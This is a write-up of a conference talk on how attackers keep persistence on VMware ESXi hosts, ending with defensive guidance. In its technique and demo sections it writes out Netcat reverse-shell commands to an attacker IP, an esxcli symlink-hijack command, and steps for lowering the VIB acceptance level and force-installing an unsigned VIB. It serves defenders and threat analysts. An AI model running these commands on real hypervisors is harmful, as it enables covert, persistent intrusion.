Hypervisor Hangover: Persistence Mechanisms on ESXi

Hypervisor Hangover: Persistence Mechanisms on ESXi

Speakers: JC(Crashwire) (Cyber Threat Analyst); Nathan (Cyber Threat Analyst, Valley Cyber)

Conference: Cloud Village

YouTube: https://www.youtube.com/watch?v=2SFa09fYqW4

Overview

In the Cloud Village talk "Hypervisor Hangover: Persistence Mechanisms on ESXi," cyber threat analysts JC (also known as Crashwire) and Nathan (Wham) delve into the critical, yet often overlooked, area of post-exploitation persistence on VMware ESXi hypervisors. The presentation focuses on how attackers, once they've gained initial access to an ESXi host, can maintain a foothold across reboots and administrative actions, making detection and eradication significantly more challenging. This topic is particularly pertinent given the increasing targeting of hypervisors by both ransomware groups and sophisticated Advanced Persistent Threat (APT) actors.

The speakers systematically dissect various "living off the land" techniques, progressing from simpler, more visible methods to highly stealthy and persistent ones, culminating in the use of malicious vSphere Installation Bundles (VIBs). Their exploration highlights the inherent administrative features of ESXi that, when misused, become potent tools for covert persistence. By demonstrating each technique with practical examples and discussing their respective advantages and drawbacks from an attacker's perspective, the talk provides invaluable insights for both offensive security practitioners and, crucially, for defenders aiming to harden their virtualized infrastructure against advanced threats.

This article provides a comprehensive technical breakdown of the persistence mechanisms discussed, offering context, detailed technical explanations, and actionable defensive implications. It aims to bridge the gap between theoretical knowledge and practical application, equipping security professionals with a deeper understanding of the threats posed to ESXi environments and the strategies required to mitigate them.

Background

▶ Watch: Introduction to ESXi persistence mechanisms (0:00)

VMware ESXi occupies a significant portion of the enterprise virtualization market, making it an exceptionally appealing target for adversaries. Its widespread adoption means that compromising an ESXi host can grant an attacker access to an entire array of virtual machines (VMs), representing a substantial portion of an organization's computing infrastructure. This centralization of workloads translates directly into a "significant blast radius" upon compromise, a fact heavily exploited by ransomware actors who aim to encrypt entire virtualized environments.

Historically, ESXi hypervisors have often been treated as "set and forget" appliances, receiving less security attention compared to traditional operating systems or application servers. This oversight creates a fertile ground for attackers, as administrators may not possess the granular visibility or daily operational awareness needed to detect subtle modifications. Furthermore, ESXi's Linux-derived architecture means that many existing Linux-based malware and "living off the land" tools can run with minimal or no modification, lowering the barrier to entry for attackers.

The threat landscape has evolved, with a marked increase in attacks targeting VMware infrastructure, including both vCenter and ESXi. While ransomware groups have long recognized the value of hypervisor compromise, more recently, sophisticated APT groups have also turned their attention to these critical systems. The speakers specifically reference UNC3886, an APT group known for targeting VMware environments. This group has leveraged tools such as VirtualPi, a Python backdoor C2 agent that uses malicious VIBs for persistence, and VirtualPwn, an ELF shell script backdoor that establishes persistence via /etc/init.d services. A common tactic employed by these groups, and echoed in the talk, is naming their backdoors and services to blend in with legitimate ESXi components, such as "VM tools support" or other VMware-related nomenclature, exploiting the lack of administrative familiarity with the hypervisor's internal workings. The increasing severity of these threats led MITRE to release ATT&CK version 17 in April, which includes an entire matrix dedicated to ESXi, porting over existing techniques and introducing new ones specifically for this platform.

Key Findings

▶ Watch: Why hypervisors are attractive targets for attackers (2:00)

The talk systematically demonstrates five distinct persistence mechanisms on ESXi, ranging in complexity, visibility, and ability to survive reboots. The overarching finding is that despite ESXi's perceived appliance-like nature and ephemeral file system, several methods allow attackers to establish robust and stealthy persistence.

1. local.sh and profile.local Exploitation: These scripts, designed for legitimate administrative customization during boot and user login, respectively, can be easily modified to execute malicious payloads. While straightforward, their visibility makes them susceptible to detection, and profile.local's persistence is tied to an active user session. Crucially, neither survives if Secure Boot is enabled.
2. Service Creation via /etc/init.d: By creating custom service scripts in the /etc/init.d directory, attackers can integrate their payloads into the system's service management framework. This method offers improved stealth compared to directly modifying boot scripts. However, due to ESXi's volatile file system, these modifications are non-persistent across reboots unless explicitly linked to a persistent mechanism like local.sh or, more reliably, a VIB.
3. Symlink Hijacking: Attackers can manipulate symbolic links of commonly used administrative binaries (e.g., ESXCLI) to redirect execution to a malicious wrapper script. This creates a "victim-activated" or "tripwire" persistence, where an administrator's legitimate command execution triggers the attacker's payload. Similar to service creation, this method does not inherently persist across reboots without additional mechanisms.
4. Malicious vSphere Installation Bundles (VIBs): This is presented as the most reliable and stealthy method for achieving true persistence across reboots. VIBs are essentially glorified zip archives that get integrated into the ESXi host's state.tgz file, ensuring their contents (including malicious services or binaries) are unpacked and executed every time the hypervisor boots. The talk demonstrates a method to bypass Secure Boot restrictions on VIB acceptance levels, allowing the installation of unsigned, community-supported malicious VIBs.
5. Living Off The Land and Obfuscation: A recurring theme across all techniques is the effective use of pre-existing ESXi binaries and utilities (e.g., Netcat, OpenSSL, Python, BusyBox) to execute payloads, minimizing the need for custom, easily detectable malware. Furthermore, naming conventions and encrypted communication (OpenSSL, DNS C2) are employed to increase stealth and evade detection.

These findings collectively underscore the evolving threat to ESXi and the need for defenders to move beyond traditional endpoint security paradigms to address hypervisor-specific attack vectors.

Technical Deep Dive

▶ Watch: Reasons for focusing on ESXi hypervisor security (2:45)

The speakers meticulously detail five distinct persistence mechanisms, each leveraging different aspects of the ESXi operating environment.

1. local.sh: Boot-Time Execution

The local.sh script, located at /etc/rc.local.d/local.sh, is designed to execute custom commands automatically at the very end of the ESXi boot process, after all system services have initialized. This script runs with root privileges, making it a powerful target for attackers seeking system-level persistence.

• Mechanism: When an ESXi host boots, it loads the kernel, mounts the RAM disk, and starts core services. After network services are up, ESXi sources local.sh.
• Attack: An attacker with root access can simply append a malicious shell command to local.sh. The speakers demonstrated adding a Netcat reverse shell listener (e.g., nc -lvp 8000 -e /bin/sh) to the script.
• Visibility: This method is highly visible. local.sh is a known administrative customization point, making it one of the first places a sophisticated defender would inspect.
• Drawback: If Secure Boot is enabled, local.sh will not execute, limiting its utility in hardened environments. Output from the script is also typically logged, which could aid detection.
• Persistence: Persistent across reboots, as it's part of the standard boot process.

2. profile.local: User Interactive Shell Persistence

Similar to local.sh but tied to user interaction, profile.local (located at /etc/profile.local) is sourced when a user logs into the ESXi host via an interactive shell (e.g., SSH). It's commonly used for custom shell environments, variables, or scripts.

• Mechanism: Upon interactive login, the ESXi system sources profile.local.
• Attack: An attacker modifies profile.local to execute a payload. The demonstration involved injecting another Netcat reverse shell command.
• Context: The payload executes in the context of the logging-in user. However, as most ESXi SSH logins are performed by the root user, this often translates to root-level execution.
• Visibility: Also relatively visible, as it's a known customization file.
• Drawback: The attacker's session is directly tied to the user's shell session. If the user terminates their session, the attacker's agent drops. Like local.sh, it will not execute if Secure Boot is enabled. This is a "victim-activated" or "tripwire" payload.
• Persistence: Persistent only as long as the victim's interactive shell session is active. Does not survive reboots or session termination.

3. Service Creation via /etc/init.d

This method involves creating a custom service script within the /etc/init.d directory, mimicking legitimate ESXi services. This offers a more stealthy approach than modifying obvious boot scripts.

• Mechanism: ESXi, being Linux-derived, uses init.d for service management. Scripts placed here can be started, stopped, and managed like any other service.
• Attack: An attacker creates a new script (e.g., VMTD for "VM tools support" to blend in) in /etc/init.d/, marks it executable (chmod +x), and includes their payload. To make it persistent across reboots, the local.sh script would typically be modified to call this new service script.
• Payload Example: The demonstration used OpenSSL to establish an encrypted reverse shell, making network traffic harder to detect than plain Netcat. The script would initiate an openssl s_client connection to the attacker's C2 server. A Python script was used to upgrade the shell to a pty for better interactivity.
• Drawback: Due to ESXi's volatile file system, any script placed directly in /etc/init.d/ will be lost upon reboot unless a persistent mechanism (like local.sh or a VIB) is used to re-create or re-execute it at boot. The demo explicitly showed manually calling the service script after creation, bypassing the reboot aspect for demonstration purposes.
• Stealth: Higher stealth than local.sh or profile.local due to blending in with other services and potentially using encrypted communications.

4. Symlink Hijacking

Symbolic links (or symlinks) are a type of file that acts as a pointer to another file or directory. Attackers can manipulate these pointers to redirect execution of legitimate binaries to their malicious code.

• Mechanism: On ESXi, many commonly used commands are symlinks to BusyBox binaries or Python scripts. For example, esxcli is a Python script. When an administrator executes esxcli, the system follows the symlink.
• Attack: The attacker first backs up the original target of the symlink (e.g., esxcli's Python script). Then, they create a malicious wrapper script (e.g., VMwareCheck.py) that first executes the original legitimate binary/script (passing all arguments) and then forks/detaches a reverse shell to the attacker's C2. Finally, the attacker replaces the original symlink with a new symlink pointing to their malicious wrapper.
• Example: The demonstration targeted esxcli. An admin running esxcli system version get would still receive the legitimate output, but in the background, a Netcat reverse shell would be established. This is another "victim-activated" persistence method.
• Context: Execution occurs with the privileges of the calling user, typically root for administrative tools like esxcli.
• Drawback: Similar to services, symlink modifications made directly to the volatile file system will be lost upon reboot.
• Stealth: High stealth, as the legitimate command appears to function normally, providing no immediate indication of compromise to the administrator.

5. Malicious vSphere Installation Bundles (VIBs)

VIBs (vSphere Installation Bundles) are essentially glorified zip archives used by VMware to package software components, drivers, or patches for ESXi hosts. They are designed to integrate changes into the host's persistent configuration. This is the most robust method for achieving true persistence across reboots.

• Mechanism: When a VIB is installed, its contents are incorporated into the ESXi host's state.tgz file, which is an encrypted archive that gets unpacked and re-applied every time the ESXi system boots. This means any services, binaries, or configuration changes delivered via a VIB will persist indefinitely. VIBs can have different acceptance levels (e.g., community supported, VMware signed), requiring cryptographic keys for higher levels.
• Attack: An attacker creates a custom VIB containing their malicious payload (e.g., a DNS C2 agent that communicates via TXT records on port 53). The VIB is configured to install this agent as a persistent service.
• Secure Boot Bypass: A significant finding demonstrated was a method to install a "community supported" (i.e., unsigned, attacker-created) VIB even when Secure Boot is enabled. While esxcli might prevent changing the acceptance level directly, the speakers showed that by creating a custom acceptance.json file and using the config store CLY config current set command, an attacker can bypass this restriction and set the acceptance level to CommunitySupported. Once the acceptance level is lowered, the VIB can be installed, even with the -f (force) flag if extensibility checks fail.
• Payload Example: The demo involved a custom DNS C2 agent that periodically sends commands via DNS TXT records to an attacker-controlled DNS server. The attacker can then inject commands into DNS responses, which the agent executes on the ESXi host. The demonstration showed creating a file (/scratch/test.txt) and running an arbitrary shell script (somethingbad.sh) via this DNS C2.
• Persistence: True persistence across reboots, as the VIB's contents are integrated into state.tgz.
• Stealth: High stealth, especially with obfuscated C2 channels like DNS. The VIB installation itself might be logged, but the running service blends into the system process list.

Demo / Proof of Concept

▶ Watch: APT and ransomware attacks targeting VMware ESXi (4:00)

The talk featured live demonstrations for each persistence method, showcasing the practical steps an attacker would take and the resulting impact.

1. local.sh Demo:

• The speakers established initial SSH access to an ESXi host.
• They navigated to /etc/rc.local.d/.
• Using vi, they edited local.sh to insert a Netcat reverse shell payload: nc <attacker_ip> 8000 -e /bin/sh.
• An attacker-controlled listener was set up on port 8000.
• Instead of rebooting (which would flag activity), they manually executed local.sh.
• A reverse shell popped on the attacker's listener, demonstrating successful execution and root access.

1. profile.local Demo:

• Similar to local.sh, the attacker SSHed into the ESXi host.
• They navigated to /etc/.
• They edited profile.local using vi to inject a Netcat reverse shell.
• An attacker listener was set up.
• The attacker then simulated a legitimate administrator logging in via SSH.
• Upon the new login, the profile.local script was sourced, and the reverse shell immediately appeared on the attacker's listener.

1. Service Creation Demo (OpenSSL Encrypted Shell):

• The attacker copied a custom service script, named VMTD (to mimic "VM tools support"), into /etc/init.d/. This script contained an OpenSSL client command to connect to a C2 server.
• They made the script executable with chmod +x /etc/init.d/VMTD.
• (Optionally, local.sh could be edited to call VMTD for reboot persistence, but this was not fully demonstrated for this specific method's persistence across reboots).
• On the attacker machine, an OpenSSL server was started after generating necessary certificates.
• A Python script was used on the attacker side to upgrade the incoming shell to a pty for better interaction.
• The VMTD service script was manually executed on the ESXi host.
• An encrypted reverse shell was established, and the pty upgrade was successful, allowing interactive command execution.

1. Symlink Hijacking Demo (ESXCLI):

• The attacker first verified the functionality of esxcli system version get.
• The original esxcli Python script (the target of the esxcli symlink) was copied to esxcli_original.py.
• A malicious Python wrapper script, VMwareCheck.py, was created. This script would first execute esxcli_original.py with all original arguments, then fork a Netcat reverse shell in the background.
• VMwareCheck.py was made executable with chmod +x.
• The original esxcli binary/symlink was moved to esxcli_backup.
• A new symlink was created: ln -s VMwareCheck.py /usr/bin/esxcli.
• An attacker Netcat listener was started.
• When the attacker (simulating an admin) ran esxcli system version get again, the command executed normally, but simultaneously, a reverse shell popped on the listener, demonstrating covert execution.

1. Malicious VIB Demo (DNS C2):

• A pre-built malicious VIB (hostbg.vib), containing a custom DNS C2 agent, was SCPed to the ESXi host.
• The attacker SSHed into the ESXi host.
• To bypass Secure Boot restrictions on VIB acceptance, they created an acceptance.json file and used the command config store CLY config current set -c /etc/vmware/configstore/acceptance.json. This set the system's VIB acceptance level to CommunitySupported.
• An initial attempt to install the VIB might fail due to extensibility checks.
• The VIB was then force-installed using esxcli software vib install -v /tmp/hostbg.vib -f.
• After successful installation, a ps command showed the malicious service (threatrunner.sh executing ex3.sh, the DNS C2 agent) already running.
• On the attacker machine, a DNS C2 server was started, and tcpdump was used to monitor port 53 traffic.
• The ESXi host's DNS C2 agent began sending periodic check-in requests (e.g., txtcmd.esx.local).
• The attacker then issued a command (e.g., touch /scratch/test.txt) via the DNS C2 server.
• The tcpdump output showed the obfuscated DNS traffic, and subsequently, cat /scratch/test.txt on the ESXi host confirmed the file was created, demonstrating arbitrary command execution with true persistence.

Defensive Implications

▶ Watch: APT tools and techniques for ESXi persistence (4:50)

Understanding these persistence mechanisms is crucial for defenders to secure ESXi environments effectively. A multi-layered approach focusing on prevention, detection, and response is necessary.

1. Implement and Monitor Secure Boot: While a bypass for VIB acceptance was shown, Secure Boot remains a fundamental security control. It prevents unauthorized code from loading during boot, including unsigned local.sh and profile.local scripts. Defenders should ensure Secure Boot is enabled and actively monitor its status.
2. Integrity Monitoring for Critical Files: Implement robust file integrity monitoring (FIM) for key ESXi configuration and script files. This includes:

• /etc/rc.local.d/local.sh
• /etc/profile.local
• /etc/init.d/* (monitor for new or modified service scripts)
• /usr/bin/esxcli and other critical binaries/symlinks
• /bootbank/state.tgz (though direct monitoring is difficult, VIB installations indirectly affect this)

Any unexpected changes should trigger immediate alerts and investigation.

1. Strict VIB Management:

• Maintain the highest possible VIB acceptance level (e.g., VMwareAccepted, PartnerSupported) and disallow CommunitySupported VIBs unless absolutely necessary and after thorough vetting.
• Monitor VIB installation logs (/var/log/esxupdate.log) for any esxcli software vib install commands, especially those using the -f flag or installing unsigned VIBs.
• Regularly audit installed VIBs (esxcli software vib list) for unrecognized or suspicious packages.
• Be aware of the config store CLY config current set command and acceptance.json file for potential acceptance level manipulation.

1. Network Traffic Analysis:

• Monitor for unusual outbound network connections from ESXi hosts, especially on non-standard ports (like port 8000 for Netcat or OpenSSL shells).
• Implement DNS logging and analysis to detect anomalous DNS queries, such as those used in DNS C2 (e.g., unusually long TXT records, frequent queries to suspicious domains, or traffic on port 53 from unexpected processes).
• Look for encrypted traffic from non-standard processes.

1. Audit and Limit SSH Access:

• Enforce strong authentication for SSH, including multi-factor authentication (MFA).
• Implement strict access controls (least privilege) and limit SSH access to only necessary administrators and IP ranges.
• Regularly audit SSH login attempts and active sessions.
• Monitor for root logins and activities.

1. Regular Patching and Configuration Hardening:

• Keep ESXi hosts fully patched to address known vulnerabilities that attackers might use for initial access.
• Follow VMware hardening guides, which often recommend disabling unnecessary services and ports.

1. Treat Hypervisors as Critical Infrastructure: Shift the mindset from "set and forget" to actively managing and securing hypervisors as the foundation of the virtualized environment. This includes regular security reviews, threat hunting, and incident response planning specifically for ESXi.
2. Endpoint Detection and Response (EDR) on ESXi (if available): Explore hypervisor-aware EDR solutions that can provide deeper visibility into ESXi processes, file system changes, and network activity.

Key Takeaways

• ESXi is a High-Value Target: Its widespread use and the centralized nature of virtualized workloads make ESXi a prime target for ransomware and APTs, leading to a significant blast radius upon compromise.
• Living Off The Land is Prevalent: Attackers heavily leverage native ESXi tools and Linux-derived functionalities (Netcat, OpenSSL, Python, service scripts, symlinks) to establish persistence, making detection challenging by traditional signature-based methods.
• Volatile File System Challenges Persistence: Most direct file system modifications (e.g., to /etc/init.d scripts, symlinks) are lost upon reboot due to ESXi's ephemeral RAM disk, necessitating more advanced techniques for true persistence.
• Malicious VIBs Offer Robust Persistence: vSphere Installation Bundles (VIBs) are the most reliable method for achieving true, reboot-resistant persistence on ESXi, as they integrate payloads into the host's persistent state.tgz archive.
• Secure Boot Has Limitations: While important, Secure Boot can be bypassed for VIB acceptance levels through specific configuration store commands, highlighting the need for comprehensive security measures beyond single controls.
• Redundancy and Obfuscation are Key for Attackers: Attackers often employ multiple persistence mechanisms and use techniques like naming obfuscation and encrypted/DNS C2 channels to ensure a foothold and evade detection.

About the Speaker(s)

Nathan (Wham) is a Cyber Threat Analyst with a background as a former offensive cyber operations specialist for the Air Force. He currently works at Valley Cyber, focusing on Linux and hypervisor security. Nathan is also an alumnus of USA Delusions of Grandeur and co-hosts the "Rob Lobsters" podcast, which covers current events in cyber security.

JC (Crashwire), also known as Joe, is a Cyber Threat Analyst professionally and an avid hacking hobbyist. He is a former active CTF player who still occasionally engages with platforms like Hack The Box. Joe describes himself as an "eternal student," consistently seeking to learn and explore new aspects of cybersecurity.